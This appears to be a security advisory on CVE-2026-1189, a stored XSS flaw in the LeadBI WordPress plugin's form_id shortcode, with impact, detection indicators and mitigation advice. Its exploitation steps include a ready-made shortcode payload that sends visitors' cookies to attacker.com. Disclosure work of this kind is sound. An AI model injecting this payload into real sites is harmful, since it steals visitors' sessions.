CVE-2026-1189: 
WordPress vulnerability analysis and mitigation

CVE-2026-1189 is a Stored Cross-Site Scripting (XSS) vulnerability in the LeadBI Plugin for WordPress affecting all versions up to and including 1.7. The flaw exists in the form_id parameter of the leadbi_form shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on January 24, 2026, with Wordfence as the reporting CNA. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS variant. The vulnerable code is located in includes/Plugin.php at line 72 of the LeadBI plugin, where the form_id shortcode attribute is rendered without proper sanitization or escaping (Wordfence). An authenticated attacker with at least Contributor-level WordPress access can embed a malicious [leadbi_form form_id="..."] shortcode containing arbitrary JavaScript into a post or page. Because the payload is stored server-side, it executes in the browser of any user who subsequently visits the affected page, with the scope of impact crossing the plugin's security boundary (CVSS Scope: Changed).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any site visitor's browser session, enabling session cookie theft, credential harvesting, defacement of page content, or redirection to malicious sites. While the vulnerability requires Contributor-level authentication to inject the payload, the downstream impact affects all unauthenticated and authenticated visitors to the compromised page. Confidentiality and integrity are both assessed as Low impact per the CVSS scoring, with no direct availability impact; however, chained with social engineering, the risk to end users can be significant (Wordfence, Red Hat CVE).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2026-1189. The EPSS score is approximately 0.03%, indicating a very low probability of exploitation in the near term (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities.

1. Reconnaissance: Identify WordPress sites running the LeadBI plugin version 1.7 or earlier. This can be done by checking the plugin's readme.txt or changelog exposed at wp-content/plugins/leadbi/readme.txt.
2. Obtain Contributor Access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site.
3. Craft Malicious Shortcode: Create or edit a post/page and insert a malicious shortcode such as [leadbi_form form_id="1"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"] or a similar XSS payload in the form_id parameter.
4. Publish or Submit for Review: Save or submit the post. Because WordPress contributors can submit posts for review, the payload may be published by an editor or administrator without scrutiny.
5. Payload Execution: When any user (authenticated or not) visits the page containing the injected shortcode, the malicious script executes in their browser, potentially stealing session cookies, performing actions on their behalf, or redirecting them to attacker-controlled infrastructure (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or wp-json/wp/v2/posts from Contributor-level accounts containing leadbi_form shortcode with unusual or encoded form_id values.
• File System: Unexpected modifications to post content in the WordPress database (wp_posts table) containing <script> tags or encoded JavaScript within [leadbi_form ...] shortcodes.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the leadbi_form shortcode, potentially visible in web application firewall (WAF) logs.
• Application: WordPress audit log entries (if a logging plugin is installed) showing Contributor-level users creating or editing posts with shortcode content containing HTML tags or JavaScript.

Users should update the LeadBI Plugin for WordPress to a version beyond 1.7 that addresses the insufficient sanitization of the form_id shortcode parameter. As of the vulnerability's disclosure, no patched version was confirmed available; site administrators should monitor the WordPress plugin page for updates and apply them immediately upon release (Wordfence). As a workaround, administrators should restrict Contributor-level user permissions, disable the LeadBI plugin until a patch is available, or deploy a Web Application Firewall (WAF) rule to block malicious shortcode input. Wordfence users with the premium plugin benefit from firewall rules that can help mitigate exploitation attempts.

Wordfence disclosed the vulnerability and included it in their weekly WordPress vulnerability report for January 19–25, 2026, highlighting it as part of broader plugin security monitoring (Wordfence Blog). The vulnerability was also tracked by INCIBE-CERT and CCN-CERT (Spanish national cybersecurity agencies), indicating routine cataloging by European security bodies. No significant social media debate or high-profile researcher commentary has been observed beyond standard vulnerability aggregation.